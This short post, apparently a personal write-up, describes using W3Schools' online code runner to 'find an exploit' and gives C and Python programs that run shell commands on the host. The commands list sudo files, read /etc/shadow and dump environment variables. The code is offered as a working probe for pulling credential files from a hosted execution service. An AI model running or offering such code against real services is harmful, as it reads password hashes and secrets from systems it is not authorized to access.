How I used W3 Schools sub processing to find an exploit
The Code
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Made By Taylor Christian Newsome\n");
FILE *fp;
char result[1000];
char *commands[] = {
"ls -l /etc/sudo.conf",
"ls -l /usr/bin/sudo",
"cat /etc/shadow",
"set",
};
for (int i = 0; i < sizeof(commands) / sizeof(commands[0]); i++) {
fp = popen(commands[i], "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(result, sizeof(result), fp) != NULL) {
printf("%s", result);
}
pclose(fp);
}
printf("Made By Taylor Christian Newsome\n");
return 0;
}
The Code
import subprocess
print("Made By Taylor Christian Newsome")
commands = [
("ls -l /etc/sudo.conf", "ls -l /usr/bin/sudo", "cat /etc/shadow"),
("'ls -l /etc/sudo.conf'", "'ls -l /usr/bin/sudo'", "'cat /etc/shadow'")
]
for idx, (cmd, desc) in enumerate(zip(commands[0], commands[1])):
print(f"\nCommand {idx + 1}: {desc}")
result = subprocess.run(cmd.split(), capture_output=True, text=True)
print(result.stdout)
print("Script execution completed.")